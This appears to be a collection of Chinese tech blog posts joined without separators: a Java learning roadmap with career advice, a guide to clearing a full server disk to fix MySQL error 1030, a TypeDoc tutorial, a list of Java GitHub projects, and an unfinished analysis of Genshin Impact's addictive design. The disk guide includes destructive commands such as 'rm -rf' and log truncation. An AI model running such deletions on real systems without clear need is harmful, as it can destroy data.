所以我希望入坑前的朋友,请认真思考以下几个问题?1.你了解过编程吗?自学过基础知识嘛?2.你没有足够的学费去贷款,如果找不到工作后果你自己能承担嘛?3.那些跟你说没有学历也能学出来拿高薪,那别人读了这么多年的书是否白念了?4.转行来学习的,你是否想好了接下来除了花钱,还要利用大量的业余时间去学习,要坚持下来?如果以上问题都思考过,并且做好了充分的心里和学习的准备那么就放手去学习吧!1、这里如果自律性比较高,学习时间比较多了我建议就线上学习,现在线上有很多免费的学习视频和资料都比较全,找一个比较有经验的师傅带着入门解决你学习过程中遇到的问题,这样可以省很多钱。2、如果自律性不行,同时手边资金充足或者父母支持,你可以考虑去一些线下大的培训机构,记住一定要大的最好是一线城市的,尽管学费贵一些,但是里面的老师相对比较负责。我从17、18年以来,通过朋友介绍或者别人从我的博客、知乎、贴吧上找到我,我也陆陆续续的帮助过很多人,他们找到我都是为了一个目的就是怎么才能求得一个工作机会!看到他们我也想到当初我刚出来的样子,所以只要找我的,我都诚信诚意尽最大可能得帮助他们。每一个求职人,从刚来跟我聊天,到我们规划制定计划,到知识巩固项目熟悉,再到写简历,然后模拟面试,实战去面试,总结面试技巧,最后到拿到满意的offer! 有人说真幸运遇到我,我改变了他,在他最低谷的时候,帮助了他,不然他估计转行了或者以后一生都会留下这个遗憾! 最后: 记住我的话,现在不管怎样,哪怕是之前冲动了去培训了,也不要把时间浪费到后悔上,现在的情况不如意,那就抓紧改变,只要你肯花时间,回报肯定会来,可能会迟到,但一定不会缺席!零、计划的使用与优缺点?:欢迎收藏,后续会根据技术更新和公司需求不断的更新! 深知广大爱好Java的人学习是多么困难,专门整理了新版的学习路线图,不管你是不懂电脑的小白,还是已经步入开发的大牛,这套路线路绝对不容错过!这套学习路线是枫哥亲自整理出来的,枫哥从2017年以来辅助了上千人成功就业,也带过一百多位优秀的学徒,成功就职于一二线大厂和互联网公司。路线的优点在于,枫哥根据多年工作经验将一些不必要的技术剔除,同时把每个技术点和知识点该掌握成什么程度做了对应标记,让入门小白有了更清晰的认识。为了让观众老爷pc端和手机端观看更美观,笔者将尺寸调节了。 一、第一章 Java基础语法 1.1. 环境搭建+入门--------------------熟悉1.2. 数据类型及转换-------------------熟悉1.3. 运算符------------------------------重点1.4. 条件控制语句--------------------重点1.5. 循环-------------------------------重点1.6. 随机数+开发工具-------------熟悉1.7. 数组------------------------------重点1.8. 方法与debug-----------------重点1.9. 进制-----------------------------熟悉1.10. 二维数组---------------------重点 二、 第二章 面向对象基础 2.1. 面向对象基础上--------------重点2.2. 面向对象基础下--------------重点三、 第三章 API基础3.1. StringBuilder-----------------重点3.2. String类------------------------重点四、第四章 集合框架(很重要,面试必问)4.1. ArrayList-------------------------重点4.2. Collection-----------------------熟练4.3. List与LinkedList----------------重点4.4. 泛型-------------------------------了解4.5. 数据结构&平衡二叉树------------熟悉4.6. 红黑树&HashSet---------------熟练、重点4.7. HashMap&TreeMap-------------重点、熟悉五、 第五章Git5.1. git的基本操作-----------------重点5.2. git的安装-----------------------熟悉5.3. IDEA集成GIT-----------------重点六、第六章面向对象进阶6.1. 分类和static------------------熟悉6.2. 管理系统综合练习-----------熟悉6.3. 继承上--------------------------重点6.4. 继承下-------------------------重点6.5. 接口----------------------------重点6.6. 多态与内部类----------------重点6.7. Lambda表达式---------------熟悉七、第七章常用API&异常7.1. API的基本使用与Object类(重点)7.2. BigDecimal类与Integer类(熟悉)7.3. 数组的高级操作与递归(熟悉)7.4. 时间日期类----------熟悉7.5. 异常-------------------熟悉八、第八章 IO流(重要)8.1. File--------------------熟悉8.2. 字节流----------------熟悉8.3. 缓冲流----------------熟悉8.4. 字符流&字符缓冲流(熟悉)8.5. 转换流&对象操作流&Properties(熟悉)8.6 Stream流------------熟悉九. 第九章 多线程(很重要,面试必问)9.1. 多线程-------------------------重点9.2. 线程安全问题----------------熟悉9.3. 生产者消费者------------------了解9.4. 线程池&volatile---------------重点9.5. 原子性&并发工具类(了解)十、第十章网络编程(整体了解)10.1. 网络编程-------------了解10.2. TCP通讯程序---------了解十一、 第十一基础加强11.1. 类加载器&反射--------重要11.2. xml----------------------了解11.3. DTD&schema--------了解11.4. 枚举--------------------了解11.5. 单元测试&日志技术(熟悉)--------------------------------分割线----------------------------------------恭喜小伙伴学到这里,说明基础已经很扎实了,同时意味着踏上编程不归路了,接下来是JavaWeb学习路线,让你感受编程的魅力JavaWeb1、 linux1.1. 初识Linux---------------------熟悉1.2. Linux安装与使用------------了解1.3. 系统与设置命令--------------了解1.4. Linux的目录管理------------了解1.5. 文件管理----------------------了解1.6. 压缩命令-----------------------了解1.7. 网络与磁盘管理-------------了解1.8. shell----------------------------熟悉2、 HTML+CSS+Nginx2.1. HTML快速入门-----------了解2.2. HTML基本语法-----------熟悉2.3. 新闻文本案例-------------了解2.4. 头条页面案例1-----------了解2.5. 注册页面案例------------了解2.6. 快速入门-----------------熟练2.7. 基本语法----------------熟练2.8. 头条页面案例2--------了解2.9. 登录页面案例----------了解3. JavaWeb核心3.1. 企业开发简介---------熟悉3.2. tomcat------------------熟练3.3. HTTP协议--------------了解3.4. 动态资源案例----------熟悉3.5. Servlet-------------------熟悉3.6. ServletConfig----------熟悉3.7. ServletContext----------熟悉3.8. 注解开发-----------------熟悉3.9. 学生管理系统Demo----熟悉3.10. 请求对象-request---熟悉3.11. 响应对象-response--熟悉3.12. Cookie------------------熟悉3.13. Session-----------------熟悉3.14. JSP---------------------熟悉3.15. EL表达式---------------熟悉3.16. JSTL--------------------熟悉3.17. Filter---------------------熟悉3.18. Listener----------------熟悉4. MySQL(重点)4.1. 数据库基本概念-------熟悉4.2. DDL---------------------重点4.3. DML--------------------重点4.4. DQL--------------------重点4.5. 约束--------------------重点4.6. 多表操作-------------重点4.7. 视图-------------------重点4.8. 备份和恢复----------熟悉4.9. 存储过程和函数----熟悉4.10. 触发器--------------熟悉4.11. 事务----------------重点4.12. 存储引擎----------熟悉4.13. 索引----------------重点4.14. 锁-------------------重点5. JDBC5.1. jdbc快速入门------重点5.2. jdbc功能类详解---重点5.3. 工具类--------------重点5.4. sql注入攻击--------重点5.5. jdbc管理事务------重点5.6. 连接池--------------重点5.7. JDBC框架---------重点6. Mybatis6.1. 快速入门-----------重点6.2. 相关API------------重点6.3. 映射配置文件-----重点6.4. 核心配置文件-----重点6.5. 传统方式实现Dao层---重点6.6. 接口代理方式实现Dao层---重点6.7. 动态sql-------------重点6.8. 分页插件-----------重点6.9. 多表操作-----------重点6.10. 注解开发---------重点6.11. 注解多表操作---重点6.12. 构建SQL---------重点7. JavaScript7.1. 快速入门----------了解7.2. 基本语法----------熟悉7.3. DOM---------------了解7.4. 事件----------------重点7.5. 面向对象----------重点7.6. 内置对象----------熟悉7.7. BOM---------------熟悉8. JQuery(了解)8.1. 快速入门-------了解8.2. 基本语法-------了解8.3. 选择器-------了解8.4. DOM------了解8.5. 复选框案例------了解8.6. 随机图片案例----了解9. AJAX9.1. AJAX快速入门---重点9.2. JSON的处理---重点9.3. 搜索联想案例---熟悉9.4. 分页案例--------熟悉10. Vue+Element(了解)10.1. Vue快速入门------------------------------熟悉10.2. Vue常用指令------------------------------熟悉10.3. Element基本使用------------------------------熟悉10.4. 学生列表案例------------------------------熟悉10.5. Vue高级使用------------------------------熟悉10.6. 学生管理系统------------------------------熟悉11. Redis(重点)11.1. Redis 入门-----------------------------重点11.2. 数据类型--------------------------------重点11.3. 常用指令-------------------------------重点11.4. jedis--------------------------------------熟悉11.5. 持久化----------------------------------重点12. Maven基础(重点)12.1. Maven基本概念---重点12.2. 第一个Maven程序---重点12.3. 依赖管理与生命周期---重点Java主流框架1. Spring1.1. spring简介-------重点1.2. 模板对象---------熟悉1.3. IOC----------------重点1.4. 常用注解----------重点1.5. 整合第三方技术---熟悉1.6. IOC底层核心原理--重点1.7. AOP配置------------重点1.8. AOP底层原理------重点1.9. 事务管理------------重点2. SpringMVC2.1. 入门案例----------熟悉2.2. 基本配置----------重点2.3. 请求----------------重点2.4. 响应----------------重点2.5. 异步调用----------重点2.6. 拦截器-------------重点2.7. 异常处理----------重点2.8. 实用技术----------重点2.9. SSM整合---------重点3. SpringBoot3.1. SpringBoot概述---重点3.2. SpringBoot 快速入门(重点)3.3. SpringBoot 起步依赖分析(重点)3.4. SpingBoot 配置-----重点3.5. SpringBoot 整合其他框架(重点)3.6. SpringBoot 高级概述---(重点)3.7. SpringBoot高级原理分析(重点)3.8. SpringBoot高级监控----(重点)3.9. SpringBoot项目部署-----(重点)--------------------------------华丽的分割线--------------------------------------首选恭喜大家,学到这里整个Java体系基本已经学完了,如果大家精力足够的话,建议把springcloud微服务也学习一下。真实项目实战---重点介绍:团队协作、需求分析、编程规范、环境搭建、从零开始、自己的服务器、Git。如果有时间和精力的一定要自己从头到尾跟着实战敲一遍项目,现在租一个云服务器活动期间大概就几十块钱,可以自己部署演练实战一下。
简介:大家好,我是枫哥,一线互联网的IT民工、资深面试官、Java跳蚤网课堂创始人。拥有多年一线研发经验,曾就职过科大讯飞、美团网、平安等公司。在上海有自己小伙伴组建的副业团队,目前业余时间专注Java技术分享,春招/秋招/社招/跳槽,一对一学习辅助,项目接活开发。一、前言最近听粉丝说,服务器系统盘满了,如何解决,我说这个应该网上能找到解决方案的,他们说网上很多人都说清一下缓存,但是并没有教实际操作,这让我们这些小白就很难受。在此,我特意去网上看了看,发现网上文章千篇一律几乎没有教实际解决的,全是说清一下缓存就好了,但是都没有实际步骤,这让小白很懵逼。二、正文mysql报错:1030, ‘Got error 28 from storage engine‘,这个问题确实是服务器系统盘满了,mysql指定的临时文件目录满掉,大概就是这个意思.下面解决/dev/vda1系统盘满了,其实我压根不知道/dev/vda1这在哪,是什么,后来了解这是 virtio-block 类型的设备。这里科普一下:以 'c' 开头的一行表示该设备是一个字符设备,以 'b' 开头的行表示这是一个块设备。/dev/vda 和 /dev/vdb 都是 virtio-block 类型的设备,而 /dev/sda 是 sd 即 SCSI 类型的设备。开整!首先登录服务器:执行df -h 意思是:检查一台服务器磁盘使用空间,发现磁盘已经使用了100%(这是我解决之后截的图,已经恢复正常,剩余42%足够了)1、cd到 根目录,du -sh * 看哪个目录占用空间大,有的高达十几个G,那么就要盯住这个目录了2、cd 占内存大的目录,继续 du -sh * 发现data目录居然15G,进入data目录:cd data然后查找大文件:文件查找命令:find -size +100M意思是查找大于100M的文件,M是兆,再大点可以用G也可以查询文件夹占用显示该目录占用空间的总和:使用:du -h --max-depth=1 /路径 举例:du -h --max-depth=1 /var这是查看哪个文件夹占目录内存最大如果想定位大文件:ls -lhS这是将文件从大到小展现3、重复前两步,根据实际情况判断删除或者移走4、如果日志太大的话可以清空运行命令:cat /dev/null > file.log亲测,mysql文件夹下的catalina.out是可以删除的,执行:echo "" > catalina.out一般这个日志文件比较大.5、如果是软件包太大的话,不需要的可以卸载执行卸载执行卸载rpm -e 软件名或者删除rm -rf 文件夹名6、大文件删除的差不多了,再次df -h,磁盘空间预留一小半即可,绝对完美解决mysql 1030 问题!最后温馨提示:小白如果遇到能力之外的问题,而且这个问题还涉及到服务器了,最好跟你的领导或者带你的人沟通一下,不要盲目的私下操作,出了问题就麻烦了。
部门A采用ReactNative开发,维护RN组件库,部门B采用原生开发。为了应对业务的快速迭代,B部门的学生也需要访问RN。所以就有了以下问题。B 部门同学想要知道:A 组件库支持什么功能A 组件库的组件怎么使用A 部门组件库存在的问题:没有文档说明(曾经有,迭代太快,写文档太麻烦,久而久之就过时了)注释较少,时间久了,原开发同学都离职了,想要搞清楚组件支持的功能得扒源码看A需要经常支持B,这很麻烦,不想花太多时间写文档。为了解决这个问题,我参考了原生开发使用的Javadoc工具,最后找到了这个-typedoc。使用后体验还可以,比每次选择源代码都方便。写一篇文章来分享这个工具。TypeDoc 将 TypeScript 源代码中的注释转换为呈现的 HTML 文档或 JSON 模型。它是可扩展的,支持多种配置。初始化工程创建一个新的 TS React 应用来演示功能npm install -g create-react-app create-react-app type-doc-demo --template typescript 安装typeDocnpm install typedoc --save-dev工程说明组件工程的目录结构如下所示. ├── components │ ├── Card │ │ └── index.tsx │ ├── Filter │ │ └── index.tsx │ └── index.tsx ├── demo │ └── Filter.tsx ├── App.tsx ... components/index.tsx导出所有组件,demo目录包含示例代码。// components/index.tsx export { Card } from "./Card"; export type { CardProps } from "./Card"; export { Filter } from "./Filter"; export type { FilterProps } from "./Filter";基础功能在项目根目录创建typedoc.js文件,指定入口文件和输出目录// typedoc.js module.exports = { entryPoints: ["./src/components/index.tsx"], out: "doc", name: "组件库", }; package.json添加脚本打包看看效果// package.json ... "scripts": { "doc": "typedoc --tsconfig tsconfig.json --options typedoc.js" }, ... 执行 npm run doc,效果如下,默认会将README.md内容放在首页MarkDown语法typeDoc将通过导出内容的注释生成文档,注释支持MarkDown语法,所以可以将注释这么写插入表格export type FilterProps = { /** * 弹窗类型 * * |drop|fullscreen| * |:---:|:---:| * |下拉| 全屏| * */ modalMode?: "dorp" | "fullscreen"; }; 插入示例代码export type FilterProps = { /** * 配置 * ``` * { * base_filter: { * checkBox: { * columns: 4, * }, * }, * } *``` */ config?: object; }; 生成文档效果插入自定义资源typedoc.js增加如下配置// typedoc.js module.exports = { ... media: ["./demo-images"], includes: ["./src/demo"], };includes: 包含文件的目录,这些文件可以[[include:file.md]]在文档注释中注入到生成的文档中。media:指定将复制到输出文件的媒体目录。媒体可以media://file.jpg在文档注释中链接到添加上述配置后,在注释中就可以通过如下方式访问对应资源了/** * # 筛选器 * ## 示例图 * <img src="media://Filter.jpg" width="50%" /> * * @see [数据格式说明文档](https://www.baidu.com) * * ## 代码示例 * ### 使用 * ``` * [[include:Filter.tsx]] * ``` **/ export const Filter: React.FC<FilterProps> = () => { ... };生成文档效果如下综上,便以较小的工作量生成了一个简单的开发文档,提供了代码示例、功能示例图、属性说明,如果只供内部使用的话还比较方便。其他配置配置文件可以在typedoc.js文件中填下如下配置module.exports = { excludePrivate: true, // 导出不包含private声明内容 excludeProtected: true, // 导出不包含protected声明内容 // 将包版本添加到项目名称中。在这种情况下,如果项目是根据 1.2.3 版本`package.json`,这将生成名为“名称 - v1.2.3”的文档 includeVersion: true, }; 注释标签@ignore:文档忽略该模块@category:将该内容分组,同标签会划分一起
首先,看看编程语言的图谱,看看 Java究竟在过去20年里有多火。我们可以从趋势图中看到, Java在近20年来一直占据着前三名的位置,可见其人气非常高。01CS-Notes项目地址:https://github.com/CyC2018/CS-Notes 本项目主要包括技术面试必备的基础知识、力码、计算机、计算机网络、系统设计等,值得学习。推荐指数:10.002 advanced-java项目地址:https://github.com/doocs/advanced-java互联网Java工程师高级知识完全扫盲:涵盖高并发、分布式、高可用性、微服务、海量数据处理等领域的知识,特别适合高级Java学习,尤其是有工作经验的人。推荐指数:10.003mall项目地址:https://github.com/macrozheng/mallmall项目是一个由前台商城系统和后台管理系统组成的电商系统,它基于 Spring Boot+ MyBatis实现,使用 Docker容器化部署。其中包括主页入口、商品推荐、商品搜索、商品展示、购物车、订货流程、会员中心、客服中心等模块。背景管理系统主要包括物品管理、订单管理、会员管理、促销管理、营运管理、内容管理、统计报表、财务管理、权限管理、设置等模块。04 hello-algorithm项目地址:https://github.com/geekxh/hello-algorithm针对小白的算法训练 | 包括四部分:①.算法基础 ②.力扣图解 ③.大厂面经 ④.CS_汇总推荐指数:9.005 spring-boot-examples项目地址:https://github.com/ityouknow/spring-boot-examples这一开放源码项目中的每一个例子都以最小依赖,最简单为标准,帮助初学者快速掌握 Spring Boot各个组件的使用,强烈建议,学习 SpringBoot看看这个开源项目就够了。推荐指数:10.006jeecg-boot项目地址:https://github.com/jeecgboot/jeecg-boot“企业级低代码平台”前后端分离架构SpringBooth2.x、SpringCloud、Anthdesign&Vue、Mybatis-plus、Shiro、JWT。强大的代码生成器让前后端代码一键生成,不需要写任何代码!引领新的开发模式OnlineCoding->代码生成->手工MERGE,帮助Java项目解决70%的重复工作,让开发更加注重业务,既能快速提高效率,又能帮助公司节约成本,同时又不失灵活性。推荐指数:10.007spring-boot-demo项目地址:GitHub - xkcoding/spring-boot-demo项目已成功(actuator)、admin可视化监控)、logback(日志)、aoplog(通过aop记录web请求日志)、统一异常处理、json级别和页面级别)、freemarker模板引擎、thymeleaf(模板引擎)、beetl(模板引擎)、JPA(强大的ORM框架)、mybatis(强大的ORM框架)、通用Mapper(快速操作Mybatis)、PageHelper(通用Mybatis分页插件)、mybatis-plus(快速操作Mybatis)、BeetlSQL(强大的ORM框架)、upload(本地文件和七牛云文件)推荐指数:10.008miaosha项目地址:https://github.com/qiurunze123/miaosha⭐⭐⭐⭐秒杀系统设计与实现.互联网工程师进阶与分析推荐指数:10.009canal项目地址:https://github.com/alibaba/canal阿里巴巴 MySQL binlog增量订阅&消费组件推荐指数:10.010cat项目地址:https://github.com/dianping/catCAT 作为服务端项目基础组件,提供了 Java, C/C++, Node.js, Python, Go 等多语言客户端,已经在美团点评的基础架构中间件框架(MVC框架,RPC框架,数据库框架,缓存框架等,消息队列,配置系统等)深度集成,为美团点评各业务线提供系统丰富的性能指标、健康状况、实时告警等。推荐指数:10.0
随着互联网产业的发展,游戏已经成为成年人必备的娱乐方式之一。最近,游戏《原神》非常流行。它的内在逻辑是什么,让用户如此上瘾?本文将根据游戏《原神》分析用户上瘾的原因。 《原神》手机游戏火了这么久,最近获得了TGA2021年最佳移动游戏奖,被誉为游戏届奥斯卡奖。站内没有人分析背后的原因?让我勇敢地尝试一下。首先,我不是游戏狂热者,也不是二次元的爱好者。我在中小学玩过一些角色扮演游戏,下班后玩过一段时间吃鸡王,所以对手机游戏领域的了解是外行。开始玩《原神》,实在是看到太多地方在夸赞了,抱着试玩的心态,玩到第四天,我上瘾了……看到最近10天的app使用记录显示我玩了43个小时,我吓了一跳。对于像我这样对游戏抵抗力不深的玩家来说,这个游戏简直就是降维打击。我尝试着从自己的经历来分析《原神》中最让我上瘾的机制。一、《原神》介绍《原神》是米哈游开发的一款奇幻题材开放世界动作角色扮演游戏,于2020年9月28日发布1.0版。短短几个月上线,迅速创下27国IOS榜榜榜榜首,获得2020年苹果/安卓双平台年度最佳游戏荣誉。游戏发布一年后,已经成为世界上总收入最高的手机游戏之一。根据Sensortower商店的情报数据,自推出以来,米哈游《原神》在全球AppStore和谷歌Play的总收入已达20亿美元,仅次于腾讯的《王者荣耀》和《PUBGMobile》(合并《和平精英》收入)。游戏剧情于虚构世界的提瓦特大陆上展开。被神明选中的人将被授予神之眼来指导元素的力量,而最终登上天空岛的人将获得神之心。这些拥有神之心的人被称为原神。玩家扮演旅行者游历七个国家,寻找他们失散的唯一血亲。在旅行过程中,玩家可以通过做任务和充值等方式获得新的角色,帮助自己在游戏世界中过关斩将。火到什么程度?2020年12月,字节跳动创始人张一鸣在内部飞书《原神》交流群看到工作时间竟然群聊闪个不停,不禁感叹,上班时间聊原神是不是太闲了。2021年10月份,特斯拉的创始人兼CEO 埃隆·马斯克在突然在推特上发文表示:“自己已经迫不及待想要玩原神了。”当时正好是原神2.2版本更新之际,在新版本会有新地图鹤观岛、新剧情和人气角色公子复刻卡池等内容上线。这条推文获得了上千条评论,不少知名人士,例如主持人、TGA创始人Geoff以及电竞战队Secret等纷纷在评论区冒泡……《原神》还成为为检验手机性能的重要工具,不仅在苹果官网大篇幅展示,小米创办人、小米集团董事长兼CEO雷军在微博上表示:“以前测试手机流行跑分,现在流行跑个原神”,并在后续的某场带货直播中现场玩耍。根据《极光:2021年中国手机游戏产业研究报告》,《原神》在中国的月活量保持在1000多万以上。根据国外10月份的一份报告,《原神》全球月活玩家超过5360万,可以说风靡全球。二、上瘾原因1.新颖的开放世界玩法科技财经自媒体《锌刻度》在文章《王者荣耀·世界,能否撼动原神的江湖地位?》中写到:当人们聊起2020年现象级游戏《原神》的成功时,总离不开两个要素:一是米哈游深耕二次元赛道多年积累出来的卡通风格光影渲染技术;另外一个则是开放世界玩法。开放世界玩法不是一个原生于移动端的游戏品类,而源自于重度游戏更多的PC和主机平台。而在移动游戏发展早期,移动端设备一直被认为只能承载轻度游戏玩法,无法与PC和主机游戏同台竞技。然而,从2016年左右开始,随着软硬件技术的提升,移动游戏在质量上展现出令人惊异的进步,诸如MOBA、ACT、ARPG、STG乃至大逃杀“吃鸡”等过去只在PC和主机端出现的游戏品类,也被大规模地搬到了移动平台上,并将过去移动平台上主流的日式卡牌养成游戏、类《刀塔传奇》游戏和各种SLG挤出了舞台中心。-《锌刻度》与其他游戏相比,《原神》的开放世界有这些独特之处:1.玩家永远是世界中心例如,当我第一次玩的时候,我的世界里只有一个蒙德城。当我完成当期世界的任务并达到一定的等级时,才会触发其他地图的剧情,引导我走向未知的地区,并逐渐扩大地图。在剧情设定上,通过层层考验,我逐渐成为蒙德城最厉害的飞行员/美食家。我还打败了危害人民的巨魔龙。声名远杨。无论我去哪里,NPC都说我听说过我的事迹,有一种我是我世界的神的感觉。这给了新人很大的友好度,不会被复杂的游戏系统劝退。如果从一开始就向我展示或介绍各种元素相克和各种复杂的副本,我肯定玩不下去了。2. 社交是一种选择而非必要刚开始玩的时候,我以为这是一款纯粹的单机游戏,一周左右我升到16级,系统提醒我可以开启联机模式,除了遇到打不过boss找人帮忙的情况,基本不会与人联机。印象中,其他网络游戏很注重社交的玩法,因为社交关系能让用户持久地捆在游戏里。在一些pc端角色扮演游戏,比如《梦幻西游》、《剑网三》等,就将社交玩法充分融入到了角色成长当中,游戏玩家可通过师徒、结拜、夫妻、帮派等系统和其他用户形成多种多样的社交关系,如果不参与社交玩法,则一部分玩法无法参加,某些奖励也拿不到。对于pvp类玩家对战游戏就更不用说了,必须和其他人互打,比如《英雄联盟》、《刺激战场》等。弱化了社交玩法的同时,也减轻了时间压力和攀比压力,之前玩《剑网三》的时候,一个副本25个玩家打一整晚,只要一个人出错就会导致团灭重来,想想都肝疼,还有无处不在的排名榜单,无时不提醒自己是个菜鸡,更别说满屏幕眼花缭乱的数据和特效了,在网吧都会被人误以为是页游。喜欢原神这种想玩就玩,想停就停,一个秘境平均5-10分钟打完,隔一段时间不玩也不会有跟不上节奏,或者需要追赶的感觉。3. 大世界里,可以和游戏中一切事物产生交互这一点超乎了我对游戏的认知。可以用火点燃路边的花草树木,点燃火堆后还可以进行烹饪,会被冰冻的天气冻结身体,可以追捕路边的蝴蝶小鸟。就算不做任何剧情任务,也能在这丰富的游戏世界里玩得很精彩,也衍生了“锄大地”玩法,指玩家在游戏世界中一边闲逛,一边收集遇到的材料和宝箱,得到的奖励还可以去抽卡。这从游戏体验上是一种质的飞跃,因为之前玩过的游戏都会存在不同程度的“穿模”,即玩家本身的服装道具互相穿透,甚至可以穿过游戏中的其他玩家或事物,在之前的端游比较常见,不确定是不是因为技术实现的困难,还是单纯因为如果不穿模,可能会导致游戏世界装不下这么多玩家?在吃鸡游戏中已经解决了大部分的穿模问题,玩家与玩家之间、游戏物体之间不能穿透,玩家可以躲在草丛中等,但交互的场景和物品并没有那样丰富,自由度相对有限。国内一线游戏产业媒体《游戏葡萄》也写道:在《原神》刚上线时,场景设计看似庞大复杂,但无论如何,它总是遵守着一条规则:玩家在这个世界里探索的方向,由他自己决定。难怪bilibili知名科技UP主“半佛仙人”对《原神》做出高度的评价:手游玩家过去玩儿的是什么?换皮垃圾,骗钱机器,离开渠道就活不下去的狗东西。当你玩惯了换皮垃圾的时候,你一接触到原神,你的第一反应一定是我草真的牛逼,原来手机上还有这种游戏。我身边很多玩手游的人第一次接触到原神真的是惊呆了,手游已经到了这个水准了么?2. 丰富的概率型奖励《上瘾:让用户养成使用习惯的四大产品逻辑》书中提出了一个极其简明的上瘾模型(the Hook Model):触发——行动——多变的酬赏——投入。万事开头难,第一步就是引发用户去使用你的产品,这叫作“触发”。触发之后,第二步就是行动。行动要兼具动机和能力,有了动机,还需要用户的能力足够完成行为。行动之后,要给用户酬赏,还得是多变的酬赏。所谓多变的酬赏,就是指酬赏要有不可预期性。最后,是让用户在产品上进行越来越多的“投入”。用户与产品亲密接触得越多,就越离不开它。通过用户的“投入”,就可能产生下一次“触发”,从而开始一个正向循环。于是你就上瘾了(hooked)。这种“多变的酬赏”对人类心理的影响,已由多种赌博活动得到证实,例如那些最简单的“老虎机”就能让赌徒们难以自拔。各类网游利用了这种“赌徒”心理,引导玩家不断投入时间和金钱,这就是游戏比其他娱乐更容易令人上瘾沉迷的秘密武器,也是游戏公司发力的重心。结合上瘾模型,我是这样一步步上瘾的:1. 触发内部触发:本身就对游戏有一定兴趣,想找个游戏玩,正好最近下班早外部触发:熟人推荐,身边玩游戏的朋友大部分都在玩;内容熏陶,在抖音、b站、公众号、微博等社区频繁看到相关介绍内容,在地铁上也看到广告2. 行动在下班后特别疲惫的某天,下载游戏开始玩3. 多变的酬赏从打开游戏开始,动画及剧情已经让我震撼探索大世界的各种随机奖励免费抽取各种角色4. 投入加大时间投入,几乎每天都玩,一边培养角色,一边抽卡希望拥有其他的角色投入了精力和时间后,忍不住冲了大小月卡一般来说,在游戏里打怪,我会获得经验,并提升等级,这个结果在预料之中,所以很容易在升级的过程中厌烦。假如给这个结果添加一些变量,比如说,打怪的路上采摘了稀有材料、或者遇见了稀有宝箱,有时候还会触发酷炫的任务或剧情,当我开始兴致勃勃地期待这些小玩意,我的渴望就被点燃了。《原神》将“多变的酬赏”玩到了极致,超过5种货币相互转化、10多种等级机制相互牵制,我在游戏世界里每个动作都可能得到超预期的奖励。拿游戏里的宝箱为例,按出现的场景划分,宝箱分为三种:露天宝箱 一共1379个宝箱,直接点击打开或者击败镇守怪物打开。解密宝箱 一共29种解密方式,1248个宝箱,需要进行挖掘、跟随,或完成解密、限时挑战等玩法后打开。地灵龛宝箱 一共30个地灵龛华丽的宝箱,找到后通过钥匙开启,钥匙需要通关秘境后获得。3. 接连不断的终峰体验2002年诺贝尔经济学奖的心理学家丹尼尔·卡尼曼提出“峰终定律”(peak-end rule),大意是,一段经历最让人印象深刻的,是它的峰值瞬间——最好和最坏的体验——和结束的瞬间。这两种体验足以让人忽视过程中大大小小、不好不坏的体验。比如我去迪士尼游乐园玩一整天,绝大部分时间里都在排队,真正刺激的时刻很少,一天下来也很累,但晚上在城堡举行的那场绚丽的烟火秀,让我觉得一切都值了,之后回想大多也只有那些精彩的瞬间。如果能为他人制造这些节点和瞬间,他们就会听你摆布。基于此,如何让用户上瘾,“行为设计学”(Behaviour Design)掌门人是斯坦福大学的B. J. 福格给出了两条经验:第一,是让用户在第一次接触你的东西时就有一个好印象。这就是为什么你在头等舱刚坐下,空姐就为你端来一杯香槟;这也是为什么苹果公司特别注重开机,甚至开箱体验。第二,是让用户能经常获得成就感。比如微博、微信,这些社交网络为什么让人上瘾?因为你每发一条状态,就有可能收获回复和点赞,就有可能吸引新的粉丝。哪怕是一个小小的赞,也能给人带来一次愉悦的小情感波动。而刻意制造峰终的节点和瞬间,其实是为了让用户产生aha时刻。100年前德国心理学家、现象学家卡尔·布勒(Karl Buhler)提出“Aha Moment”,现在被广泛提及,用《增长黑客》的观点来说,Aha Moment就是产品使用户眼前一亮的时刻,实际上就是用户接触产品后的一些特定行为,这些特定行为对于产品留存率有着决定性的影响,可以说是产品爆发的拐点。在《原神》中,至今我经历了这些峰终体验:1. 好奇之峰下载了一晚上元神,打开游戏后精美的打斗画面让我眼前一亮,正当主角拔剑冲向敌人时,竟然让我2选1开始游戏,选完角色后立刻产生了强烈代入感。2. 好运之峰玩了不到一周,系统赠送了诺埃尔、安柏、凯亚、丽莎4个新角色,以及没花钱就抽到了多个五星角色3. 感官及成就之峰在某些主线任务,需要击败超级强大的BOSS时,往往会“画风突变”,不进动画变得精致,而且玩家还可以深度互动,沉浸地体验剧情,比如战胜了风魔龙、璃月的群玉阁之战、稻妻雷神之战等。此外,在每个任务的环节,也埋了很多大大小小的峰终体验,就不在这里一一列举了。4. 欲罢不能的抽卡机制1.机制透明抽奖玩法充分体现了多变性对人类行为的操控,但因为各平台的抽奖机制完全黑盒,这种赌徒式的玩法常常让人“赌到最后一无所有”而产生悔恨感,甚至让平台背负骂名。《原神》则将抽奖规则完全空开,彻底消除“赌徒”的心理障碍:在抽奖页中公开每个奖励获得的几率每10次必出4星及以上角色或物品设定了大小保底机制,即90抽必出五星角色,180抽必出当期up角色新奖池开启前提前1,2周发布详细的介绍虽然这些机制一部分是法律要求,也并非《原神》独有,但这些公开的信息极大地满足了玩家的自主权,好像在说:该说的不该说的都摆这了,抽不抽你自己决定,我可没有诓你。就算玩家没抽到想要的角色,也没有完全白抽,因为得到一些还不错的回馈,以及知道大概什么时候可以抽到,进而刺激充钱或者每天上线做任务。2. 无消费诱导通过充值可以快速获得抽卡机会,抽到好的角色和武器,比如首次充值648可获得81次抽卡机会,大概率能抽到当期的5星角色,然而角色升级、提升技能、强化装备用到的关键材料只能自己去打怪获得。零氪玩家每天清任务锄大地不到1个月,也能获得81次抽卡机会,这是属于延迟满足者的狂欢,只要愿意投入时间,充钱与否并不会带来体验上的天差地别。此外,充值入口也藏得很深,需要点击3次才能跳到购买页面,这种欲擒故纵反而让人上头。不像有的游戏很直接,你不冲是吧,你每天打开游戏我都弹出充值页面,其实,人类天生有逆反心理,你叫我干嘛我偏不,如果我在诱导的情况下付钱了,万一后悔了还会怪罪平台。如果完全是自己觉得需要充值,才自发地点开,体验是完全不一样的。3. 